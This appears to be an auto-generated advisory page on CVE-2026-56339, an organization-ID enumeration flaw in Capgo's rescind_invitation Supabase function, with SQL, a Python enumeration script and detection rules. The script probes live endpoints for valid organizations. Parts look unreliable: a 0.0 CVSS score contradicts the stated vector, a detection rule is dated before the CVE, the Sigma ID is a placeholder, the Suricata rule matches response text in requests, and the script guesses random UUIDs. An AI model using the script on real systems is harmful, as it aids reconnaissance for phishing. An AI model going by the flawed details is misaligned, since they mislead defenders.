CVE-2026-56339
Executive Summary
CVE-2026-56339 is an information disclosure vulnerability in Capgo (Cap-go/capgo) versions before 12.128.2. The flaw resides in the Supabase PostgREST SECURITY DEFINER RPC function public.rescind_invitation. An unauthenticated attacker, armed only with a publishable API key, can exploit distinct error messages returned by the function to enumerate valid organization IDs. This allows attackers to map the attack surface for targeted phishing or social engineering campaigns. The vulnerability is classified as CWE-203 (Observable Discrepancy) and has a CVSS score of 0.0 (pending official scoring), but the practical risk is elevated due to the ease of exploitation and potential for reconnaissance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Capgo is a Go-based application. The vulnerability is in the application's custom Supabase RPC function, not in a third-party package. However, the use of Supabase as a backend service introduces a dependency on the security of custom RPC functions. Organizations using Capgo should ensure they are running version 12.128.2 or later to mitigate this issue.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): Low (L) – Only organization existence is disclosed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS base score is low (0.0 pending official scoring), the vulnerability enables reconnaissance that can lead to more severe attacks.
Deep Dive & Mechanics
The public.rescind_invitation function is a SECURITY DEFINER RPC in Supabase PostgREST, meaning it executes with the privileges of the function owner. The function is designed to allow users to rescind invitations. However, it contains a logic flaw: it returns different error messages based on whether the organization ID exists (NO_ORG) or if the user lacks rights (NO_RIGHTS). An attacker can send requests with a valid publishable API key (which is often public) and a guessed organization ID. If the error message is NO_ORG, the organization does not exist. If it is NO_RIGHTS, the organization exists, but the attacker lacks permissions. This discrepancy allows enumeration of valid organization IDs.
Attack Flow:
- Obtain a publishable API key (often exposed in client-side code or public repositories).
- Send a POST request to the Supabase PostgREST endpoint with the function call and a guessed organization ID.
- Analyze the error response:
NO_ORGmeans invalid ID,NO_RIGHTSmeans valid ID. - Repeat for a list of potential IDs to build a list of valid organizations.
Vulnerable vs. Patched Code
Vulnerable Code (before 12.128.2):
CREATE OR REPLACE FUNCTION public.rescind_invitation(org_id UUID)
RETURNS void
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
IF NOT EXISTS (SELECT 1 FROM organizations WHERE id = org_id) THEN
RAISE EXCEPTION 'NO_ORG';
END IF;
-- Check permissions
IF NOT (SELECT current_user_has_rights(org_id)) THEN
RAISE EXCEPTION 'NO_RIGHTS';
END IF;
-- Rescind logic
END;
$$;
Patched Code (12.128.2 and later):
CREATE OR REPLACE FUNCTION public.rescind_invitation(org_id UUID)
RETURNS void
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
-- Check permissions first, without revealing org existence
IF NOT (SELECT current_user_has_rights(org_id)) THEN
RAISE EXCEPTION 'NO_RIGHTS';
END IF;
-- Now check org existence
IF NOT EXISTS (SELECT 1 FROM organizations WHERE id = org_id) THEN
RAISE EXCEPTION 'NO_ORG';
END IF;
-- Rescind logic
END;
$$;
The patch reorders the checks so that the permission check occurs first, preventing the attacker from distinguishing between a missing organization and a lack of rights.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Capgo instance (version < 12.128.2) using Docker.
- Obtain a publishable API key from the client-side configuration.
- Use a script to enumerate organization IDs.
Exploitation Script (Python):
import requests
import uuid
target_url = "https://your-capgo-instance.supabase.co/rest/v1/rpc/rescind_invitation"
api_key = "your-publishable-api-key"
def check_org(org_id):
headers = {
"apikey": api_key,
"Content-Type": "application/json"
}
payload = {"org_id": str(org_id)}
response = requests.post(target_url, json=payload, headers=headers)
if "NO_RIGHTS" in response.text:
return True
elif "NO_ORG" in response.text:
return False
else:
return None
# Example: enumerate a range of UUIDs
for i in range(100):
test_id = uuid.uuid4()
if check_org(test_id):
print(f"Valid organization: {test_id}")
Blue Team
Detection:
- Monitor for repeated calls to the
rescind_invitationfunction with differentorg_idvalues from the same IP. - Alert on error messages containing
NO_ORGorNO_RIGHTSin rapid succession. - Implement rate limiting on the RPC endpoint.
Mitigation:
- Apply the patch immediately.
- Use a generic error message for all failures (e.g., "Invalid request").
- Restrict access to the RPC function to authenticated users only.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/rest/v1/rpc/rescind_invitationwith varyingorg_idparameters. - Logs: Repeated occurrences of
NO_ORGorNO_RIGHTSerror messages in Supabase logs. - API Key Usage: Unusual patterns of API key usage from a single IP address.
Detection Engineering
YARA Rule
rule Detect_Capgo_Enumeration {
meta:
description = "Detects attempts to enumerate organization IDs via CVE-2026-56339"
author = "Valters IT"
date = "2025-04-10"
strings:
$error1 = "NO_ORG"
$error2 = "NO_RIGHTS"
$rpc = "rescind_invitation"
condition:
all of ($error*) and $rpc
}
Sigma Rule
title: Capgo Organization Enumeration via CVE-2026-56339
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects multiple calls to rescind_invitation with different org_id values
logsource:
category: application
product: supabase
detection:
selection:
event: "rpc_call"
function: "rescind_invitation"
condition: selection | count(org_id) by source_ip > 10
falsepositives:
- Legitimate testing
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-56339 Capgo Organization Enumeration"; flow:to_server; content:"POST"; http_method; content:"/rest/v1/rpc/rescind_invitation"; http_uri; content:"org_id"; http_client_body; pcre:"/NO_ORG|NO_RIGHTS/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Capgo to version 12.128.2 or later.
- Workaround: If immediate upgrade is not possible, modify the RPC function to return a generic error message for all failures.
- Network: Implement rate limiting on the Supabase PostgREST endpoint.
- Monitoring: Enable logging for all RPC calls and set up alerts for unusual patterns.
- API Key Management: Rotate publishable API keys and restrict their usage to necessary endpoints.
Valters IT